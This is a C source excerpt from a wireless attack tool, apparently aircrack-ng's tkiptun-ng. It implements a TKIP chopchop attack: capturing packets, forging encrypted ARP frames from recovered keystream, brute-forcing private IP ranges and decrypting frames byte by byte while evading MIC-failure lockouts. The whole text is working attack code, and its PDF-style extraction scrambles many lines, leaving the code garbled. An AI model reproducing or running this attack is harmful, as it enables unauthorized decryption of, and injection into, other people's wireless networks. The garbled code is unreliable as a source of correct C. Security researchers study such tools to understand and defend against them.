printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); 0x%04x: ", i );

fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic pfh_out.version_major pfh_out.version_minor pfh_out.thiszone pfh_out.sigfigs pfh_out.snaplen pfh_out.linktype

= = = = = = =

TCPDUMP_MAGIC; PCAP_VERSION_MAJOR; PCAP_VERSION_MINOR; 0; 0; 65535; LINKTYPE_IEEE802_11;

lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec pkh.tv_usec pkh.caplen pkh.len = = = = tv.tv_sec; tv.tv_usec; *caplen; *caplen;

n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {

perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] input[len+1] input[len+2] input[len+3] return; = = = = (crc ) & (crc >> 8) & (crc >> 16) & (crc >> 24) & 0xFF; 0xFF; 0xFF; 0xFF;

} void send_fragments(uchar *packet, int packet_len, uchar *iv, uchar *keystream, int fragsize, int ska) { int t, u; int data_size; uchar frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len -(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet lenght if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt

xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t<data_size)usleep(100); if (t>=data_size) break; } } int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int build_arp_request(uchar* packet, int *length, int toDS) { int i; uchar buf[128]; packet[0] = 0x88; //QoS Data if(toDS) packet[1] = 0x41; //encrypted to/fromDS else packet[1] = 0x42; packet[2] = 0x2c; packet[3] = 0x00; if(toDS) { memcpy(packet+4, opt.f_bssid, 6); memcpy(packet+10, opt.r_smac, 6); memcpy(packet+16, opt.r_apmac, 6); } else { memcpy(packet+4, opt.r_smac, 6); memcpy(packet+10, opt.f_bssid, 6); memcpy(packet+16, opt.r_apmac, 6); } packet[22] = 0xD0; //fragment 0 packet[23] = 0xB4; if(toDS) packet[24] = 0x01; //priority 1

else packet[24] = 0x02; //priority 2 packet[25] = 0x00; if(toDS) set_clear_arp(packet+26, opt.r_smac, BROADCAST); else set_clear_arp(packet+26, opt.r_apmac, BROADCAST); if(toDS) memcpy(packet+26+22, opt.ip_cli, 4); else memcpy(packet+26+22, opt.ip_ap, 4); if(toDS) memcpy(packet+26+26, BROADCAST, 6); else memcpy(packet+26+26, BROADCAST, 6); if(toDS) memcpy(packet+26+32, opt.ip_ap, 4); else memcpy(packet+26+32, opt.ip_cli, 4); *length = 26+36; calc_tkip_mic(packet, *length, opt.ptk, packet+(*length)); *length += 8; memcpy(buf, packet+26, (*length) - 26); memcpy(packet+26+8, buf, (*length) - 26); if(toDS) memcpy(packet+26, opt.chopped_to_prga, 8); S frame else memcpy(packet+26, opt.chopped_from_prga, 8); mDS frame (*length)+=8; add_icv(packet, *length, 26+8); (*length) += 4; if(toDS) { if(opt.chopped_to_prga_len-8 < *length - 26-8) return 1; for(i=0; i<*length-26-8; i++) packet[26+8+i] ^= opt.chopped_to_prga[8+i]; } else { if(opt.chopped_from_prga_len-8 < *length - 26-8) return 1; for(i=0; i<*length-26-8; i++) //set IV&extIV for a toD //set IV&extIV for a fro

packet[26+8+i] ^= opt.chopped_from_prga[8+i]; } return 0; } int set_clear_ip(uchar *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i<len; i++) { if(i>0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } int check_guess(uchar *srcbuf, uchar *chopped, int caplen, int clearlen, uchar * arp, uchar *dmac) { int i, j, z, pos; z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30; if ( ( srcbuf[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; // if(arp[22] == 192 && arp[23] == 168 && arp[24] == 178 && arp[25] == 1) // { // printf("Source: %i.%i.%i.%i; Dest: %i.%i.%i.%i\n", // arp[22], arp[23], arp[24], arp[25], arp[32], arp[33], arp[34] , arp[35] ); // } pos = caplen-z-8-clearlen; for(i=0; i<clearlen; i++) { arp[pos+i] = srcbuf[z+8+pos+i] ^ chopped[z+8+pos+i]; } for(j=1; j<3; j++) { arp[15] = j; memcpy(arp+26, ZERO, 6); if (check_crc_buf( arp, caplen-z-8-4) == 1) { for(i=0; i<pos; i++)

{ chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i]; } return 1; } memcpy(arp+26, BROADCAST, 6); if (check_crc_buf( arp, caplen-z-8-4) == 1) { for(i=0; i<pos; i++) { chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i]; } return 1; } memcpy(arp+26, dmac, 6); if (check_crc_buf( arp, caplen-z-8-4) == 1) { for(i=0; i<pos; i++) { chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i]; } return 1; } } return 0; } int guess_packet(uchar *srcbuf, uchar *chopped, int caplen, int clearlen) { int i,j,k,l,z, len; unsigned char smac[6], dmac[6], bssid[6]; uchar *ptr, *psmac, *psip, *pdmac, *pdip; uchar arp[4096]; z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30; if ( ( srcbuf[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(caplen-z-8 - clearlen > 36) //too many unknown bytes return 1; printf("%i bytes still unknown\n", caplen-z-8 - clearlen); switch( srcbuf[1] & 3 ) { case 0: memcpy( bssid, srcbuf + 16, 6 ); memcpy( dmac, srcbuf + 4, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 1: memcpy( bssid, srcbuf + 4, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 2: memcpy( bssid, srcbuf + 10, 6 );

memcpy( memcpy( break; default: memcpy( memcpy( memcpy( break; } ptr = psmac pdmac psip pdip arp; = arp+16; = arp+26; = arp+22; = arp+32;

dmac, srcbuf + 4, 6 ); smac, srcbuf + 16, 6 ); bssid, srcbuf + 10, 6 ); dmac, srcbuf + 16, 6 ); smac, srcbuf + 24, 6 );

len = sizeof(S_LLC_SNAP_ARP) - 1; memcpy(ptr, S_LLC_SNAP_ARP, len); ptr += len; /* arp hdr */ len = 6; memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); ptr += len; /* type of arp */ len = 2; if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0) memcpy(ptr, "\x00\x01", len); else memcpy(ptr, "\x00\x02", len); ptr += len; /* src mac */ len = 6; memcpy(ptr, smac, len); ptr += len; /* dmac */ if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0) { printf("ARP Reply\n"); memcpy(pdmac, dmac, 6); } else { printf("ARP Request\n"); memcpy(pdmac, ZERO, 6); } if(caplen-z-8 - clearlen == 36) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { for(k=1; k<255; k++) {

psip[0] psip[1] psip[2] psip[3] pdip[0] pdip[1] pdip[2] pdip[3]

= = = = = = = =

192; 168; i; j; 192; 168; i; k;

if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } printf("Checking 10.0.y.z\n"); /* check 10.i.j.1-254 */ for(j=0; j<256; j++) { for(k=1; k<255; k++) { for(l=1; l<255; l++) { psip[0] = 10; psip[1] = 0; psip[2] = j; psip[3] = k; pdip[0] pdip[1] pdip[2] pdip[3] = = = = 10; 0; j; l;

if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } printf("Checking 172.16.y.z\n"); /* check 172.16-31.j.1-254 */ for(j=1; j<255; j++) { for(k=1; k<255; k++) { for(l=1; l<255; l++) { psip[0] = 172; psip[1] = 16; psip[2] = j; psip[3] = k; pdip[0] pdip[1] pdip[2] pdip[3] = = = = 172; 16; j; l;

if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 35) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; pdip[2] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.0.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = i; pdip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++)

{ for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = i; pdip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 34) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; pdip[1] = 168; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; pdip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess

return 0; } } } printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; pdip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen <= 33 && caplen-z-8 - clearlen >= 26) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+33]^chopped[z+8+33]) == 168) { for(i=0; i<256; i++) { for(j=1; j<255; j++) { psip[0] = 192; psip[1] = 168; psip[2] = i; psip[3] = j; pdip[0] = 192; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } if( (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+ 8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) {

for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 172; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 172; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { for(k=1; k<255; k++) { psip[0] = 10; psip[1] = i; psip[2] = j; psip[3] = k; pdip[0] = 10; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } } if(caplen-z-8 - clearlen == 25) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z +8+33]) == 168) { for(i=0; i<256; i++) { psip[0] = 192; psip[1] = 168; psip[2] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } }

if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z +8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) { for(j=0; j<256; j++) { psip[0] = 172; psip[1] = i; psip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac ) ) //got correct guess return 0; } } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { for(j=0; j<256; j++) { psip[0] = 10; psip[1] = i; psip[2] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } if(caplen-z-8 - clearlen == 24) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z +8+33]) == 168) { psip[0] = 192; psip[1] = 168; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //go t correct guess return 0; } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z +8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ for(i=16; i<32; i++) {

psip[0] = 172; psip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ for(i=0; i<256; i++) { psip[0] = 10; psip[1] = i; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //go t correct guess return 0; } } if(caplen-z-8 - clearlen <= 23) { printf("Checking 192.168.x.y\n"); /* check 192.168.i.1-254 */ if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z +8+33]) == 168) { psip[0] = 192; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //go t correct guess return 0; } if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z +8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) { printf("Checking 172.16-31.y.z\n"); /* check 172.16-31.j.1-254 */ psip[0] = 172; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //go t correct guess return 0; } printf("Checking 10.x.y.z\n"); /* check 10.i.j.1-254 */ psip[0] = 10; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got co rrect guess return 0; } if(caplen-z-8 - clearlen <= 32) { for(i=0; i<256; i++)

{ for(j=1; j<255; j++) { psip[0] = srcbuf[z+8+32]^chopped[z+8+32]; psip[1] = srcbuf[z+8+33]^chopped[z+8+33]; psip[2] = i; psip[3] = j; if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess return 0; } } } return 1; } int do_attack_tkipchop( uchar* src_packet, int src_packet_len ) { float f, ticks[4]; int i, j, n, z, caplen, srcz, srclen; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; int tries=0; int keystream_len=0; int settle=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; unsigned char mic[8]; unsigned char smac[6], dmac[6], bssid[6]; unsigned char rc4key[16], keystream[4096]; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; uchar packet[4096]; time_t struct struct struct struct struct struct tt; tm *lt; timeval tv; timeval tv2; timeval mic_fail; pcap_file_header pfh_out; pcap_pkthdr pkh;

srand( time( NULL ) ); memcpy( h80211, src_packet, src_packet_len); caplen = src_packet_len; if( (h80211[1] & 3) == 1) { h80211[1] += 1; memcpy( bssid, srcbuf + 4, 6 );

memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 10, 6 ); memcpy( srcbuf + 10, bssid, 6 ); memcpy( srcbuf + 4, dmac, 6 ); memcpy( srcbuf + 16, smac, 6 ); memcpy(h80211+16, BROADCAST, 6); } if ( ( h80211[0] & 0x80 ) != 0x80 ) /* si NO es QoS forzamos que lo sea*/ { /* FORZAMOS un paquete QoS del AP al cliente */ caplen=src_packet_len+2; // Los paquetes QoS tienen 2 bytes aadidos para la cola src_packet_len=caplen; memset (noQOS,0,4096); //hacemos cero un buffer temporal memcpy (noQOS, h80211,4096); //copiamos el paquete original (no QoS) al buffer t emporal noQOS[0]=0x88; // El primer byte de un paquete QoS es 0x88 -> Lo forzamos. memcpy (noQOS+26, h80211+24,4096); // copiamos desde el byte 24 del paq. origina l en el buffer +26 noQOS[24] = 0x00; //cambiar la cola QoS. Normalmente la primera cola es cero noQOS[25] = 0x00; //cambiar la cola QoS. Normalmente la primera cola es cero memcpy (h80211,noQOS, 4096); // Copiamos el contenido del temporal al paq. origi nal -> QoS forge. } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); // // // ) // // // // // // // // // // // // // // // // if( opt.r_smac_set == 1 ) { //handle picky APs (send one valid packet before all the invalid ones bzero(packet, sizeof(packet)); memcpy( memcpy( memcpy( memcpy( packet, NULL_DATA, 24 ); packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); packet + 10, opt.r_smac, 6 ); packet + 16, opt.f_bssid, 6 );

//

packet[0] = 0x08; //make it a data packet packet[1] = 0x41; //set encryption and ToDS=1 memcpy( packet+24, h80211+z, caplen-z); if( send_packet( packet, caplen-z+24 ) != 0 ) return( 1 ); //done sending a correct packet } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 )

{ b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* debug: generate the keystream */ if(opt.got_ptk) { calc_tkip_ppk( srcbuf, caplen, opt.wpa_sta.ptk+32, rc4key ); PCT; printf("Per Packet Key: "); for(i=0; i<15; i++) printf("%02X:", rc4key[i]); printf("%02X\n", rc4key[15]); bzero(keystream, 4096); keystream_len = caplen - z - 8; encrypt_wep(keystream, keystream_len, rc4key, 16); PCT; printf("Keystream length: %i, Keystream:\n", keystream_len); for(i=0; i<keystream_len-1; i++) printf("%02X:", keystream[i]); printf("%02X\n", keystream[keystream_len-1]); memcpy(packet, srcbuf, caplen); PCT; printf("Decrypt: %i\n", decrypt_wep(packet+z+8, caplen-z-8, rc4key, 16)); PCT; printf("Keystream 2:\n"); for(i=0; i<keystream_len-1; i++) printf("%02X:", packet[z+8+i]^srcbuf[z+8+i]); printf("%02X\n", packet[z+8+keystream_len-1]^srcbuf[z+8+keystream_len-1] ); // opt.oldkeystreamlen = keystream_len-(47-z-8); opt.oldkeystreamlen = keystream_len-37; for(i=0; i<opt.oldkeystreamlen; i++) opt.oldkeystream[i] = keystream[keystream_len-1 - i]; } /* setup the chopping buffer */ n = caplen; switch( srcbuf[1] & 3 ) { case 0: memcpy( bssid, srcbuf + 16, 6 ); memcpy( dmac, srcbuf + 4, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 1: memcpy( bssid, srcbuf + 4, 6 );

memcpy( memcpy( break; case 2: memcpy( memcpy( memcpy( break; default: memcpy( memcpy( memcpy( break; }

dmac, srcbuf + 16, 6 ); smac, srcbuf + 10, 6 ); bssid, srcbuf + 10, 6 ); dmac, srcbuf + 4, 6 ); smac, srcbuf + 16, 6 ); bssid, srcbuf + 10, 6 ); dmac, srcbuf + 16, 6 ); smac, srcbuf + 24, 6 );

if( ( chopped = (unsigned char *) malloc( n ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset( chopped, 0, n ); memcpy( chopped, h80211, n); data_start = 26 + 8; srclen = data_end = n; srcdiff = z-24; // // chopped[0] = 0x88; /* QoS data frame */ chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */

if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ { chopped[24] ^= 0x01; //cambia cola QoS chopped[25] = 0x00; } // // // // // // // for(i=0; i<4; i++) { chopped[24] = 0x01; if( send_packet( chopped, n ) != 0 ) return( 1 ); usleep(10000); } /* copy the duration */ // memcpy( chopped + 2, h80211 + 2, 2 ); /* copy the BSSID */ // // // // // // // switch( h80211[1] & 3 ) { case 0: memcpy( chopped case 1: memcpy( chopped case 2: memcpy( chopped default: memcpy( chopped }

+ + + +

4, 4, 4, 4,

h80211 h80211 h80211 h80211

+ + + +

16, 4, 10, 10,

6 6 6 6

); ); ); );

break; break; break; break;

/* copy the WEP IV */ // memcpy( chopped + 24, h80211 + z, 4 ); /* setup the xor mask to hide the original data */ crc_mask = 0; for( i = data_start; i < data_end - 4; i++ ) { switch( i - data_start ) { case 0: chopped[i] = b1 ^ 0xE0; break; case 1: chopped[i] = b2 ^ 0xE0; break; case 2: chopped[i] = 0x03 ^ 0x03; break; default: chopped[i] = 0x55 ^ ( i & 0xFF ); break; } crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end chopped[data_end chopped[data_end chopped[data_end 4] 3] 2] 1] = = = = crc_mask; crc_mask; crc_mask; crc_mask; crc_mask crc_mask crc_mask crc_mask >>= >>= >>= >>= 8; 8; 8; 8;

for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i]; // chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ is_deauth_mode = 0; // // // // // opt.r_dmac[0] opt.r_dmac[1] opt.r_dmac[2] opt.r_dmac[3] opt.r_dmac[4] = = = = = 0xFF; rand() rand() rand() rand() & & & & 0xFE; 0xFF; 0xFF; 0xFF;

/* chop down old/known keystreambytes */ for(i=0; i<opt.oldkeystreamlen; i++) { guess = (opt.oldkeystream[i] ^ chopped[data_end - 1]) % 256; n = caplen - data_start; chopped[data_end chopped[data_end chopped[data_end chopped[data_end chopped[data_end 1] 2] 3] 4] 5] ^= ^= ^= ^= ^= guess; crc_chop_tbl[guess][3]; crc_chop_tbl[guess][2]; crc_chop_tbl[guess][1]; crc_chop_tbl[guess][0];

printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end - 1]); data_end--; } /* let's go chopping */ memset( ticks, 0, sizeof( ticks ) ); nb_pkt_read nb_pkt_sent nb_bad_pkt guess = = = = 0; 0; 0; 256;

tt = time( NULL ); // // // alarm( 30 ); signal( SIGALRM, sighandler ); if(opt.port_in <= 0) { if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } while( data_end > data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n " " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); return( 1 ); } /* wait for the next timer interrupt, or sleep */

if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0) { printf( "\rLooks like mic failure report was not detected." "Waiting %i seconds before trying again to avoid " "the AP shutting down.\n", opt.mic_failure_interval); fflush( stdout ); settle = 1; sleep(opt.mic_failure_interval); } if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; ticks[3]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] ticks[1] ticks[2] ticks[3] } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } /* if( data_end < 47 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) )*/ if( data_end < 47 && tries > 512) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); += += += += f f f f / / / / 976; 976; 976; 976; /* /* /* /* ticks ticks ticks ticks since since since since we entered the while loop the last status line update the last frame was sent started chopping current byte */ */ */ */

